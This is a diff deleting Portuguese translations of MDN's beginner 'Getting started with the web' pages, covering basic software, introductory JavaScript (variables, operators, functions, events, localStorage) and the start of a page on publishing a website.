Iniciação à Web é uma série concisa introduzindo-lhe os aspetos práticos do desenvolvimento da Web. Irá configurar as ferramentas necessárias para criar uma página da Web simples e publicar o seu próprio código simples.

-
- -

A história do seu primeiro site da Web

- -

É muito trabalho para criar um site da Web profissional, por isso, se é novo no desenvolvimento da Web, nós encorajamos que comece por uma coisa pequena. Não irá criar outro Facebook de imediato, mas não é difícil ter o seu próprio site da Web simples on-line. Vamos lá começar.

- -

Ao trabalhar com os artigos listados abaixo em ordem, irá passar do nada para ter a sua primeira página da Web on-line. Vamos lá!

- -

Instalar software básico

- -

Quando se trata de ferramentas para criar um site da Web, há muito a escolher. Se está apenas a começar, pode ficar confuso com a variedade de editores de código, estruturas e ferramentas de teste disponíveis. Em Instalar software básico, nós mostramos-lhe passo-a-passo como instalar apenas o software necessário para iniciar um desenvolvimento da web básico.

- -

Qual será a aparência do seu site da Web?

- -

Antes de começar a escrever o código do seu site da Web, deverá planeá-lo primeiro. Que informação está a apresentar? Que tipo de letra e cores está a utilizar? Como é que será apresentado o seu site da Web? Nós descrevemos um método simples que pode seguir para planear o conteúdo e o desenho do seu site.

- -

Lidar com ficheiros

- -

Um site consiste em muitos ficheiros: conteúdo de texto, código, stylesheets, conteúdo de média, e mais. Quando constrói um site, precisa de organizar os seus ficheiros e certificar-se que podem comunicar uns com os outros. Lidar com ficheiros explica como criar uma estrutura para os ficheiros do seu site e quais as questões que devem ser do seu conhecimento.

- -

Básicos de HTML

- -

Hypertext Markup Language (HTML) é o código que usa para estruturar, dar significado, e propósito ao seu conteúdo de web. Por exemplo, é o meu conteúdo um conjunto de parágrafos, ou uma lista de pontos? Tenho imagens inseridas na minha página? O HTML - Essencial fornece informação suficiente para o familiarizar com o HTML, sem o sobrecarregar.

- -

Básicos de CSS

- -

Cascading Stylesheets (CSS) é o código que usa para decorar o seu site. Por exemplo, quer o texto colorido negro ou vermelho? Onde desenhar o conteúdo no ecrã? Que imagens de fundo e cores deve usar para decorar o site? CSS - Essencial leva-o através do que precisa para começar.

- -

Básicos de JavaScript

- -

JavaScript é a linguagem de programação que utiliza para adicionar funcionalidades interativas ao seu website, por exemplo, jogos, coisas que acontecem quando botões são premidos ou quando dados são introduzidos em formulários, efeitos de estilo dinâmicos, animação, e muito mais. JavaScript - Essencial dá-lhe uma ideia do que é possível com esta linguagem emocionante, e como começar.

- -

Publicar o seu site da Web

- -

Após de escrever o código e organizar os ficheiros que compõem o seu site, tem de o colocar online para que as pessoas o possam encontrar. "Publicar o seu site da Web" descreve como colocar o seu código de amostra simples online com o mínimo de esforço.

- -

Como é que funciona a Web

- -

Quando acede ao seu site favorito, muitas coisas complicadas acontecem em segundo plano de que poderá não ter conhecimento. Como funciona a Web descreve o que acontece quando visualiza uma página da web no seu computador.

- -

Consulte também

- -
    -
  • Web Demystified (Inglês): Uma série fantástica de vídeos a explicar os fundamentos da web, dirigido a totais iniciantes de desenvolvimento da web. Criado por Jérémie Patonnier.
  • -
  • A Web e os padrões da Web: Este artigo oferece detalhes úteis acerca da web — como foi inicialmente desenvolvida, o que são as tecnologias padrão da web, como trabalhar em equipa, porque ser um "programador da web" é uma carreira excelente, e que melhores práticas irá aprender durante o curso.
  • -
diff --git a/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html deleted file mode 100644 index c3cff40e7f..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Instalar software básico -slug: Learn/Getting_started_with_the_web/Installing_basic_software -tags: - - Aprender - - Beginner - - Configurar - - Ferramentas - - Mecânicas da Web - - Navegador - - editor de texto - - l10n:priority -translation_of: Learn/Getting_started_with_the_web/Installing_basic_software -original_slug: Learn/Comecar_com_a_Web/Installing_basic_software ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}
- -
-

Neste artigo, mostramos-lhe de que ferramentas precisa para desenvolvimento da Web básico, e como instalá-las corretamente.

-
- -

Que ferramentas é que os profissionais utilizam?

- -
    -
  • Um computador. Até pode parecer óbvio, mas alguns de vocês estão a ler este artigo através do telefone ou numa biblioteca com um computador. Para desenvolvimento sério, é melhor investir num PC ou num portátil, seja Windows, Mac, ou Linux.
  • -
  • Um editor de texto, para escrever o código. Pode ser um editor de texto simples (ex: Visual Studio CodeNotepad++Sublime TextAtom, GNU Emacs, ou VIM), ou pode ser um editor híbrido (ex: Dreamweaver ou WebStorm). Programas de Office não são adequados, já que dependem de elementos escondidos que interferem com os mecanismos de desenho dos navegadores.
  • -
  • Navegadores da Web, para testar o código. Atualmente, os mais utilizados são Firefox, Chrome, Opera, Safari, Internet Explorer e Microsoft Edge. Também deve testar o seu site em dispositivos móveis ou navegadores antigos que por algum motivo ainda sejam utilizados pelo seu público-alvo (como o IE 8–10). Lynx, um navegador da web de terminal baseado em texto, é ótimo para ver como o seu site é experienciado por utilizadores com deficiência visual.
  • -
  • Um editor de gráficos, como o GIMP, Figma, Paint.NET, ou Photoshop, para criar imagens para a sua página da internet.
  • -
  • Um sistema de controlo de versões, para gerir ficheiros em servidores, colaborar num projeto de equipa, partilhar código e recursos, e evitar alterações conflituosas. Agora Git é a ferramenta de controlo de versões mais popular e o serviço de hospedagem de código GitHub, baseado no mesmo, também é largamente utilizado.
  • -
  • Um programa de FTP, utilizado em contas de hospedagem de sites para gerir ficheiros no servidor (o Git cada vez mais substitui FTP neste aspeto). Há diversos programas de (S)FTP como Cyberduck, Fetch, e FileZilla.
  • -
  • Um sistema de automatização como Webpack, Grunt ou Gulp para automatizar tarefas repetitivas, como minimizar o código e realizar testes.
  • -
  • Templates, bibliotecas, frameworks, etc., para escrever mais rapidamente e facilmente o código relativo a funcionalidades comuns. Uma biblioteca tende a ser um ficheiro JavaScript ou CSS existente que lhe proporciona uma funcionalidade pronta a ser utilizada no seu código. Uma framework expande sobre esta, oferecendo-lhe um sistema completo com sintaxes personalizadas para que possa escrever uma aplicação web em cima.
  • -
  • E ainda mais ferramentas!
  • -
- -

De que ferramentas realmente preciso, de momento?

- -

Parece uma lista assustadora, mas felizmente pode começar a desenvolver para a web sem saber nada sobre a maioria daquelas coisas. Neste artigo instalamos o mínimo dos mínimos — editor de texto e navegadores modernos.

- -

Instalar um editor de texto

- -

Provavelmente já tem um editor de texto simples no seu computador. O Windows inclui, de fábrica, o Bloco de Notas (Notepad) e o macOS vem com o Editor de Texto (TextEdit). Em distribuições de Linux, varia; Ubuntu vem com o gedit.

- -

Para desenvolvimento na Web, há alternativas mais completas que o Notepad ou TextEdit. Propomos-lhe começar com o Visual Studio Code, um editor gratuito que oferece pré-visualização em tempo real e sugestões de código.

- -
-

Não confundir Notepad (Bloco de Notas) com Wordpad! Este último é equiparável a programas de Office, que não são adequados para escrever código de computador, como já foi referido. 

-
- -

Instalar navegadores da Web modernos

- -

Antes de avançar, deve escolher uns navegadores que possa ter à mão para realizar testes. Escolha o seu sistema operativo e faça clique nos links para descarregar o programa de instalação respetivo dos seus navegadores preferidos:

- - - -
-

Internet Explorer (IE) não é compatível com funções da web modernas e pode não conseguir correr o seu projeto. Tipicamente não será necessário fazer os seus projetos compatíveis com o IE, pois muito poucas pessoas ainda a utilizam - certamente não se preocupe muito com isso enquanto está a aprender. Por vezes pode deparar-se com um projeto que requer apoio para o mesmo.

-
- -

Instalar um servidor da Web local

- -

Alguns exemplos terão de ser executados através de um servidor da Web para funcionar com sucesso. Pode aprender como fazer isto no artigo como configurar um servidor local de testes?

- -
{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}
- -

Neste módulo

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html deleted file mode 100644 index 8a3efc4ba4..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html +++ /dev/null @@ -1,414 +0,0 @@ ---- -title: JavaScript - Essencial -slug: Learn/Getting_started_with_the_web/JavaScript_basics -tags: - - Aprender - - Beginner - - CodingScripting - - JavaScript - - Web - - l10n:priority -translation_of: Learn/Getting_started_with_the_web/JavaScript_basics -original_slug: Learn/Comecar_com_a_Web/Elementar_de_JavaScript ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
- -
-

JavaScript é uma linguagem de programação que dá interatividade ao seu website (sob a forma, por exemplo, de jogos, respostas quando os botões são pressionados ou quando são inseridos dados nos formulários, estilos dinâmicos ou animações). Este artigo faz uma introdução a esta linguagem excitante e dá-lhe uma ideia do que é possível.

-
- -

O que é JavaScript, realmente?

- -

{{Glossary("JavaScript")}} (abreviado "JS") é uma {{Glossary("Dynamic programming language", "linguagem de programação dinâmica")}} completa que, quando é aplicada a um documento {{Glossary("HTML")}}, produz interatividade dinânimca no website. Foi inventada por Brendan Eich, co-fundador do projeto Mozilla, da Mozilla Foundation, e da Mozilla Corporation.

- -

JavaScript é incrivelmente versátil. Pode começar em ponto pequeno, com carrosséis, galerias de imagens, layouts flutuantes, e mensagens quando se prime um botão. Depois de ganhar experiência, será capaz de criar jogos, gráficos 2D e 3D animados, aplicações completas conduzidas por bases-de-dados e muito mais!

- -

JavaScript é relativamente compacta e muito flexível. Os programadores já escreveram uma grande variedade de ferramentas sobre o núcleo desta linguagem, o que abriu portas a uma vasta quantidade de funcionalidade extra com esforço mínimo. Isto inclui:

- -
    -
  • {{Glossary("API","API")}} de navegadores — São as API incluídas nos navegadores, que proporcionam funcionalidades como criar HTML dinamicamente e definir estilos CSS, agregar e manipular uma transmissão de vídeo da webcam do utilizador, ou gerar gráficos 3D graphics e amostras de som.
  • -
  • API de terceiros — que permitem aos programadores incorporar funcionalidade nos seus sites de outros fornecedores de conteúdo, como Twitter ou Facebook.
  • -
  • Framework e bibliotecas de terceiros — que podem ser aplicadas ao HTML e assim permitem construir sites e aplicações rapidamente.
  • -
- -

Uma vez que este artigo é apenas uma introdução ligeira a JavaScript, não vamos confundi-lo com detalhes sobre a diferença entre JavaScript puro e as ferramentas enumeradas em cima. Poderá aprender esse detalhe mais tarde, na nossa área de aprendizagem de JavaScript, e no resto da MDN.

- -

De seguida vamos introduzi-lo a alguns aspetos do núcleo da linguagem (JS puro, sem ferramentas), e também vai jogar com algumas funcionalidades da API do navegador. Divirta-se!

- -

Um exemplo "olá mundo"

- -

A secção anterior deve parecer mesmo empolgante — JavaScript é uma das tecnologias web mais animadas, e à medida que se torna bom a usá-la, os seus sites entrarão numa nova dimensão de poder e creatividade.

- -

Contudo, ficar confortável com JavaScript é um pouco mais difícil do que ficar confortável com HTML e CSS. Terá que começar com projetos pequenos e prosseguir com passos pequenos e consistentes. Para começar, vamos mostrar como adicionar JavaScript básico à sua página, criando um exemplo "hello world" / "olá mundo!" (o padrão de exemplos básicos de programação).

- -
-

Importante: Se não tem seguido o resto deste curso, descarregue este exemplo de código e utilize-o como ponto de partida.

-
- -
    -
  1. Primeiro, crie uma pasta "scripts" (sem aspas) na raíz do seu site de testes. Depois, dento desta pasta, crie um ficheiro chamado main.js.
  2. -
  3. A seguir, no ficheiro index.html introduza o elemento seguinte numa linha nova mesmo antes da etiqueta de fechi </body>: -
    <script src="scripts/main.js"></script>
    -
  4. -
  5. Basicamente isto faz o mesmo que o elemento {{htmlelement("link")}} faz com CSS — aplica o código JavaScript à página, para que surta efeito no HTML (juntamente com o CSS, e outros recursos da página).
  6. -
  7. Agora adicione o código seguinte ao ficheiro main.js: -
    var myHeading = document.querySelector('h1');
    -myHeading.textContent = 'Olá mundo!';
    -
  8. -
  9. Finalmente, certifique-se que guardou as alterações aos ficheiros HTML e JavaScript, e carregue o ficheiro index.html no navegador. Deverá ver algo como:
  10. -
- -
-

Nota: O motivo pelo qual pusemos o elemento {{htmlelement("script")}} no fim do ficheiro HTML é que os elementos são carregados pelo navaegador na ordem em que aparecem no ficheiro. Se o JavaScript é carregado primeiro e tem que afetar o HTML por baixo dele, pode não funcionar, já que o código JavaScript seria carregado antes do HTML que era suposto modificar. Assim, colocar o JavaScript no fim do ficheiro HTML costuma ser a melhor estratégia.

-
- -

O que aconteceu?

- -

O texto do título foi mudado para "Hello world!", utilizando JavaScript. Isto foi feito com a função {{domxref("Document.querySelector", "querySelector()")}} para obter uma referência do título e guardá-la numa variável myHeading. Isto é semelhante ao que fizémos com seletores CSS. Quando se pretende fazer algo com um elemento, há que selecioná-lo primeiro.

- -

Depois, muda-se o valor da propriedade {{domxref("Node.textContent", "textContent")}} da variável myHeading (a qual representa o conteúdo textual do título) para "Olá Mundo!".

- -
-

Nota: Ambas as funções utilizadas fazem parte da API do Document Object Model (DOM) , o qual permite manipular documentos HTML.

-
- -

Curso intensivo das bases da linguagem

- -

Vamos explicar algumas funcionalidades fundamentais da linguagem JavaScript, para permitir uma melhor compreensão de como a mesma funciona. Note que estas funcionalidades são comuns a todas as linguagens de programação, por isso, se dominar estes fundamentos, estará no bom caminho para programar praticamente qualquer coisa!

- -
-

Importante: Neste artigo, tente introduzir os exemplos de código na consola JavaScript para ver o que acontece. Para mais detalhes sobre a consola JavaScript, veja o artigo Descobrir as ferramentas de desenvolvimentos do navegador.

-
- -

Variáveis

- -

{{Glossary("Variable", "Variáveis")}} são "recipientes" em que pode guardar valores. Comece por declarar a variável com a palavra-chave var, seguida de qualquer nome que lhe queira dar:

- -
var minhaVariavel;
- -
-

Nota: O ponto e vírgula indica onde termina a instrução; apenas é estritamente necessário quando pretende separar instruções numa só linha. Contudo, algumas pessoas acham que é boa prática colocar este sinal no fim de cada instrução. Há mais regras sobre quando se deve ou não utilizá-lo — veja o artigo Your Guide to Semicolons in JavaScript (inglês) para obter mais detalhes.

-
- -
-

Nota: O nome da varíavel pode ser quase tudo, mas há restrições (veja este artigo sobre regras para dar nome às variáveis (inglês)). Se não tem a certeza, pode verificar o nome da sua variável para assegurar que é válido.

-
- -
-

Nota: JavaScript é sensível a maiúsculas — minhaVariavel é uma variável diferente de minhavariavel. Se tiver encontrar problemas depois de escrever p código, verifique as maiúsculas e minúsculas!

-
- -

Depois de declarar a variável, pode atribuir-lhe um valor:

- -
minhaVariavel = 'Bob';
- -

Pode efetuar ambas as operações com uma só instrução:

- -
var myVariable = 'Bob';
- -

O valor é obtido simplesmente escrevendo o nome da variável:

- -
myVariable;
- -

Depois de lhe dar um valor, pode optar por mudá-lo mais tarde:

- -
var minhaVariavel = 'Bob';
-minhaVariavel = 'Steve';
- -

Atenção que as variáveis podem ter valores com diferentes tipos de de dados:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
VariávelExplicaçãoExemplo
{{Glossary("String")}}Uma sequência de texto conhecido como string ou cadeia de caracteres. Para indicar que é uma string, envolve-se em plicas '.var minhaVariavel = 'Bob';
{{Glossary("Number")}}Um número. Não tem plicas em sua volta.var minhaVariavel = 10;
{{Glossary("Boolean")}}Valor que ou é verdadeiro ou falso. As palavras true e false são palavras-chave em JS, e não precisam de plicas.var minhaVariavel = true;
{{Glossary("Array")}}Estrutura que permite guardar múltiplos valores numa só referência.var minhaVariavel = [1,'Bob','Steve',10];
- Cada elemento da Array é referido desta forma (começa em zero):
- myVariable[0], myVariable[1], etc.
{{Glossary("Object")}}Pode ser qualquer coisa. Em JavaScript, tudo é um objeto e pode guardar-se numa variável. Mantenha isto em mente enquanto aprende.var minhaVariavel = document.querySelector('h1');
- Assim como todos os exemplos anteriores.
- -

Então para que precisamos das variáveis? Bem, são necessárias para qualquer tarefa interessante em programação. Se não houvesse valores que mudassem, não seria possível criar nada que fosse dinâmico, como personalizar uma mensagem de boas vindas ou mudar a imagem que se está a ver numa galeria.

- -

Comentários

- -

Pode deixar comentários no seu código JavaScript, tal como em CSS:

- -
/*
-Tudo entre estas marcas é um comentário.
-*/
- -

Se o comentário não contiver quebras de linha, deve ser mais fácil utilizar duas barras, assim:

- -
// Isto é um comentário
-
- -

Operadores

- -

Um {{Glossary("operator")}} é um símbolo matemático que produz o resultado de uma operação entre dois valores (que podem ser variáveis). Na tabela seguinte constam alguns dos operadores mais simples, juntamente com alguns exemplos que pode experimentar na consola de JavaScript.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OperadorExplicaçãoSímbolo(s)Exemplo
AdiçãoSoma números ou junta duas strings.+6 + 9;
- "Hello " + "world!";
Subtração, Multiplicação, DivisãoComportam-se com esperado em aritmética.-, *, /9 - 3;
- 8 * 2; // em JS, o sinal de "vezes" é um asterisco
- 9 / 3;
AtribuiçãoJá vimos isto: atribui um valor a uma variável.=var minhaVariavel = 'Bob';
IgualdadeFaz um teste para verificar se dois valores são iguais e retorna um valor booleano (true/false).===var minhaVariavel = 3;
- minhaVariavel === 4;
Negação, DesigualdadeDevolve o valor logicamente oposto, ou seja, torna o verdadeiro em falso e vice-versa. When it is used alongside the Equality operator, the negation operator tests whether two values are not equal.!, !== -

The basic expression is true, but the comparison returns false because we've negated it:

- -

var myVariable = 3;
- !(myVariable === 3);

- -

Verificar se "a minhaVariavel NÃO é igual a 3". Retorna false porque minhaVariavel é de facto igual a 3.

- -

var minhaVariavel = 3;
- minhaVariavel !== 3;

-
- -

Há muito mais operadores a explorar, mas por agora basta. Veja uma lista completa no artigo Expressões e operadores.

- -
-

Nota: Misturar tipos de dados pode ter resultados estranhos, então certifique-se que está a utilizar as variáveis corretamente e que os resultados estão dentro do esperado. Por exemplo, introduza "35" + "25" na consola. Porque é que não faz a soma dos números? Porque as aspas tornam os números em strings, então em vez de somar, fez a concatenção das strings. Se introduzir, 35 + 25 já obterá o resultado correto.

-
- -

Condições

- -

Condições são estruturas de código que permitem, em função do valor lógico (verdadeiro/falso) de uma expressão, executar código de entre várias alterantivas. Uma forma comum de uma condiçães é a instrução if ... else (se ... senão). Por exemplo:

- -
var gelado = 'chocolate';
-if (gelado === 'chocolate') {
-  alert('Viva, adoro gelado de chocolate!');
-} else {
-  alert('Ohhhh, mas o meu favorito é chocolate...');
-}
- -

A expressão dentro de parênteses em if ( ... ) é a condição — utilza o operador de igualdade (como foi descrito em cima) para comparar a variável gelado com a string 'chocolate' e assim verificar se são iguais. Caso esta comparação devolva true, é executado o primeiro bloco de código. Se não for verdadeira, não é executado o primeiro mas sim o segundo bloco de código, depois da instrução else.

- -

Funções

- -

{{Glossary("Function", "Functions")}} são uma maneira de juntar uma funcionalidade ou um conjunto instruções que se pretende reutilizar. Quando se pretende utilizar esta funcionalidade, chama-se a função pelo nome, em vez de voltar a escrever o código em cada utilização. Já pudémos ver a utilização de algumas funções, por exemplo:

- -
    -
  1. -
    var minhaVariavel = document.querySelector('h1');
    -
  2. -
  3. -
    alert('hello!');
    -
  4. -
- -

Estas funções, document.querySelector e alert, estão incluídas no navegador para serem utilizadas sempre que necessário.

- -

Quando vê algo que parece um nome de uma variável mas tem parênteses à direita— () —  é provavelmente uma função. As funções costumam possuir {{Glossary("Argument", "arguments")}} — dados de que necessitam para fazer o seu trabalho. Estes são passados dentros dos parênteses, separados por vírgulas quando há mais do que um.

- -

Por exemplo, a função alert() faz aparecer um "pop-up" na janela do navegador, mas é preciso dar-lhe uma string como argumento para que ela saiba o que escrever.

- -

E as boa notícia é que pode definir as suas próprias funções. Neste exemplo escrevemos uma função simples que aceita dois argumentos numéricos e multiplica-os:

- -
function multiplicar(num1,num2) {
-  var resultado = num1 * num2;
-  return resultado;
-}
- -

Tente declarar esta função na consola e depois testá-la com vários argumentos. Por exemplo:

- -
multiplicar(4, 7);
-multiplicar(20, 20);
-multiplicar(0.5, 3);
- -
-

Nota: A instrução return diz ao navegador para devolver/retornar a variável result para fora da função para que o seu valor possa ser utilizado. Isto é necessário porque variáveis definidas dentro das funções só estão disponíveis dentro dessas funções — a essa particularidade chama-se o âmbito da variável ({{Glossary("Scope", "scoping")}}). (Leia mais sobre âmbito de variáveis)

-
- -

Eventos

- -

Num site, interactividade a sério precisa de eventos. Eles são estruturas de código que esperam que algo aconteça no navegador e respondem executando código. O exemplo mais óbvio é o evento de clique, que é enviado pelo navegador quando se clica em algo com o rato. Para demonstrar, introduza isto na sua consola, e depois clique na página atual:

- -
document.querySelector('html').onclick = function() {
-    alert('Ai! Para de me picar!');
-}
- -

Há muitas maneiras de associar um evento a um elemento. Aqui, selecionamos o elemento {{htmlelement("html")}}, atribuímos à sua propriedade onclick o manuseador do evento (event handler), que neste caso é uma função anónima (sem nome), que contém o código que queremos que o evento de clique execute.

- -

Note que isto:

- -
document.querySelector('html').onclick = function() {};
- -

É equivalente a isto:

- -
var myHTML = document.querySelector('html');
-myHTML.onclick = function() {};
- -

Só que o primeiro é mais curto.

- -

Supercarregar o nosso site-exemplo

- -

Agora que que já vimos as bases de JavaScript, vamos acrescentar umas funcionalidades fixes ao nosso site para ver o que é possível.

- -

Acrescentar um alterador de imagens

- -

Nesta secção, vamos acrescentar uma imagem adicional ao nosso site com funções da API da DOM, utilizando JavaScript para mudar alternar entre as duas imagens quando se clica nelas.

- -
    -
  1. Primeiro, encontre outra imagem que goste de ter no seu site. Certifique-se que o tamanho é o mais próximo possível da primeira imagem.
  2. -
  3. Guarde-a na pasta images.
  4. -
  5. Mude o nome para "firefox2.png" (sem aspas).
  6. -
  7. Vá ao ficheiro main.js, e introduza o seguinte código JavaScript. (Apague o código do "olá mundo", se ainda lá estiver) -
    var myImage = document.querySelector('img');
    -
    -myImage.onclick = function() {
    -    var mySrc = myImage.getAttribute('src');
    -    if(mySrc === 'images/firefox-icon.png') {
    -      myImage.setAttribute('src','images/firefox2.png');
    -    } else {
    -      myImage.setAttribute('src','images/firefox-icon.png');
    -    }
    -}
    -
  8. -
  9. Guarde todos os ficheiros e carregue o index.html no navegador. Agora, quando clicar sobre a imagem, ela deve mudar para a outra!
  10. -
- -

Guardou-se uma referência para o elemento {{htmlelement("img")}} na variável myImage. Depois, atribui-se à propriedade onclick desta variável uma função anónima. Agora, sempre que se clica no elemento:

- -
    -
  1. Obtem-se o valor do atributo src.
  2. -
  3. Utiliza-se uma condição para averiguar se o valor do mesmo é igual ao caminho da primeira imagem: -
      -
    1. Se for, muda-se para o caminho da 2ª imagem, o que a obriga a ser carregada no elemento {{htmlelement("img")}}.
    2. -
    3. Se não for (e portanto, já se trocaram as imagens), o valor de src volta a ser o caminho da imagem original.
    4. -
    -
  4. -
- -

Dar uma mensagem de boas-vindas personalizada

- -

De seguida vamos acrescentar mais um pouco de código, que vai mudar o título da página para uma mensagem de boas-vindas personalizada quando o utilizador navega no site pela primeira vez. A mesma vai persistir, mesmo que o utilizador saia do site e volte mais tarde — vamos guardá-la com a API de Web Storage. Também vamos acrescentar opção de mudar de utilizador e, com o mesmo, a mensagem de boas-vindas sempre que for necessário.

- -
    -
  1. Em index.html, acrescente esta linha logo antes do elemento {{htmlelement("script")}}: - -
    <button>Change user</button>
    -
  2. -
  3. Em main.js, coloque o código seguinte no fim do ficheiro, tal como está escrito — isto obtem referências ao novo botão e o título, e guarda-os em variáveis: -
    var myButton = document.querySelector('button');
    -var myHeading = document.querySelector('h1');
    -
  4. -
  5. Agora acrescente a função em baixo para estabelecer a mensagem personalizada — por agora não faz nada, mas já vamos tratar disso: -
    function setUserName() {
    -  var myName = prompt('Por favor introuduza o seu nome.');
    -  localStorage.setItem('name', myName);
    -  myHeading.textContent = 'Mozilla is cool, ' + myName;
    -}
    - Este função faz uso da função prompt(), que mostra uma caixa de diálogo, semelhante a alert(). Mas a prompt() pede ao utilizador que introduza dados, que armazena numa variável depois que o mesmo faça OK. Neste caso, pedimos ao utilizador que introduza o seu nome. Depois, recorremos à API chamada localStorage, que nos permite guardar dados no navegador para os obter mais tarde. Utilizamos a função setItem() para criar e guardar o artigo 'name', e dando-lhe o valor da variável myName, a qual contém o nome introduzido pelo utilizador. Finalmente, mudamos o textContent do título para uma string, à qual concatenamos o nome recentemente armazenado.
  6. -
  7. Próximo: acrescente este bloco if ... else — podemos chamar-lhe código de iniciação, já que define a estrutura da aplicação quando é carregada pela primeira vez: -
    if(!localStorage.getItem('name')) {
    -  setUserName();
    -} else {
    -  var storedName = localStorage.getItem('name');
    -  myHeading.textContent = 'Mozilla is cool, ' + storedName;
    -}
    - Este bloco começa por utilizar o operador de negação ("não-lógico", representado pelo !) para averiguar se o dado name existe. Se não existir, a função setUserName() é utilizada para o criar. Se existe (ou seja, o utilizador introduziu-o numa visita anterior), recuperamos o nome armazenado com getItem() e mudamos textContent do título para a string, mais o nome do utilizador, da mesma forma que fizémos em setUserName().
  8. -
  9. Finalmente, coloque o manuseador do evento onclick no botão, como se mostra em baixo. Quando se clica no botão, é chamada a função setUserName(). Isto permite ao utilizador introduzir um novo nome, sempre que desejar, ao premir o botão: -
    myButton.onclick = function() {
    -  setUserName();
    -}
    -
    -
  10. -
- -

Agora, sempre que visitar o site, vai pedir-lhe o seu nome de utilizador, e depois mostrar a mensagem personalizada. Pode mudar o nome sempre que quiser ao premir o botão. Como bónus, já que o nome está guardado em localStorage (armazenamento local), persiste mesmo que o site seja fechado, e mantém a mensagem quando se voltar ao site!

- -

Conclusão

- -

Se seguiu as instruções neste artigo, o resultado final deve ser uma página semelhante à que vê na imagem em baixo (pode ver  a nossa versão aqui):

- -

- -

Caso se tenha perdido, pode comparar o código que escreveu com o nosso exemplo terminado no GitHub.

- -

Este artigo mal rasou a superfície de JavaScript. Se gostou de brincar e deseja continuar a aprender, dirija-se ao nosso tópico de aprendizegem de JavaScript.

- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
- -

Neste módulo

- - diff --git a/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html deleted file mode 100644 index 63299c4e36..0000000000 --- a/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Publicar o seu site na Web -slug: Learn/Getting_started_with_the_web/Publishing_your_website -tags: - - Aprender - - Beginner - - CodingScripting - - FTP - - GitHub - - Google App Engine - - Servidor de Web - - Web - - publicar -translation_of: Learn/Getting_started_with_the_web/Publishing_your_website -original_slug: Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}
- -
-

Assim que terminar de escrever o código e organizar os ficheiros que compõem o seu sire da web, precisa de colocar tudo online para que pessoas o possam encontrar. Este artigo explica como colocar o seu código de amostra online com pouco esforço.

-
- -

Quais são as opções?

- -

A publicação de um site na web é um tema complexo porque há muitas maneiras de o abordar. Este artigo não tenta documentar todos os métodos possíveis. Em vez disso, explica as vantagens e desvantagens de três abordagens que são práticas para os principiantes. Depois, passa por um método que pode funcionar de imediato para muitos leitores.

- -

Encontrar hospedagem na web e um nome de domínio

- -

Para ter mais controlo sob o conteúdo e a aparência dum site, a maioria das pessoas escolhe comprar hospedagem na web e um nome de domínio:

- -
    -
  • O serviço de alojamento web fornece espaço de arquivo alugado no servidor de uma empresa de alojamento.  Colocam-se ficheiros de websites no servidor. O servidor fornece o conteúdo do site aos seus visitantes.
  • -
  • Um nome de domínio é o endereço único onde as pessoas encontram o seu sítio web, tal como https://www.mozilla.org ou http://www.bbc.co.uk. Pode alugar o seu nome de domínio por tantos anos quantos desejar a partir dum registador de domínios.
  • -
- -

Muitos sites profissionais escolhem este modo para pôr o seu site online.

- -

Além disso, precisará de um programa {{Glossary("FTP", "File Transfer Protocol (FTP)")}} (ver How much does it cost: software para mais detalhes) para transferir os ficheiros do site para o servidor. Os programas FTP variam muito, mas geralmente, tem de se ligar ao seu servidor web utilizando os detalhes fornecidos pela sua empresa de hospedagem (normalmente nome de utilizador, palavra-passe, nome de anfitrião). Depois, o programa mostra-lhe os seus ficheiros locais e os ficheiros do servidor web em duas janelas, e fornece-lhe uma forma de transferir ficheiros para trás e para a frente.

- -

- -

Dicas para encontrar hospedagem na web e um nome de domínio

- -
    -
  • A MDN não promove empresas específicas de alojamento comercial ou agentes de registo de nomes de domínio. Para encontrar empresas de alojamento e agentes de registo, basta procurar por "alojamento web" e "nomes de domínio". Todos os agentes de registo terão uma funcionalidade que lhe permitirá verificar se o nome de domínio que pretende está disponível.
  • -
  • O {{Glossary("ISP", "fornecedor de internet")}} da sua casa ou escritório pode fornecer algum alojamento limitado para um pequeno website. O conjunto de funcionalidades disponíveis será limitado, mas poderá ser perfeito para as suas primeiras experiências.
  • -
  • Há também serviços gratuitos disponíveis como Neocities, Blogger, e WordPress.  Estes não são as opções mais robustas, mas por vezes estes recursos são suficientemente bons para as experiências iniciais.
  • -
  • Muitas empresas oferecem alojamento e nomes de domínio.
  • -
- -

Usar uma ferramenta online

- -

Algumas ferramentas permitem publicar o seu site online:

- -
    -
  • GitHub é um site de "programação social". Permite-lhe carregar repositórios de código para armazenamento no sistema de controlo de versões Git. Pode então colaborar em projetos de código, e o sistema é de código aberto por defeito, o que significa que qualquer pessoa no mundo pode encontrar o seu código no GitHub, usá-lo, aprender com ele, e melhorá-lo. GitHub tem uma funcionalidade muito útil chamada GitHub Pages, que lhe permite expor o código do website ao vivo na web.
  • -
